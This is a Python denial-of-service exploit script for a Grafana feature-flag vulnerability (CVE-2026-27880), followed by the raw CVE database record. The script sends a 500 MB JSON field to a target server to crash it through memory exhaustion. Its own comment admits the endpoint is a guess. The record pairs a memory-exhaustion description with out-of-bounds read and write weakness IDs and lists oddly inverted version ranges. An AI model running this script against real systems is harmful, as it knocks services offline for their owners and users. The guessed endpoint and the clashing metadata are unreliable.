CVE-2026-27880

import requests # Exploit Title: Grafana OpenFeature DoS (CVE-2026-27880) # Description: Sends a large payload to trigger OOM. target_url = "http://target-ip:3000/api/feature/evaluate" # Hypothetical endpoint based on description # Generate a large payload to exhaust memory (e.g., 500MB) large_payload = "A" * (500 * 1024 * 1024) headers = { "Content-Type": "application/json" } data = { "flagKey": "test", "context": large_payload # Injecting unbounded value } try: print("[+] Sending malicious payload to trigger OOM...") response = requests.post(target_url, json=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") except requests.exceptions.Timeout: print("[-] Server timed out (possible crash)") except Exception as e: print(f"[-] Error occurred: {e}")

{"cve": {"id": "CVE-2026-27880", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:51.323", "lastModified": "2026-05-10T14:16:48.510", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The OpenFeature feature toggle evaluation endpoint reads unbounded values into memory, which can cause out-of-memory crashes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.1.0", "matchCriteriaId": "004E77E1-58B9-4F05-B788-5C52FBB8A25E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.10", "versionEndExcluding": "12.2.0", "matchCriteriaId": "AE3F977F-FF94-4A15-918C-54241EC49560"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.2.8", "versionEndExcluding": "12.3.0", "matchCriteriaId": "CB499815-0B44-4BF9-AB14-F7272EF0173F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.3.6", "versionEndExcluding": "12.4.0", "matchCriteriaId": "7F2B145A-24E0-4C0F-BF82-FFD2B1301B51"}]}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-27880", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://grafana.com/security/security-advisories/cve-2026-27880", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}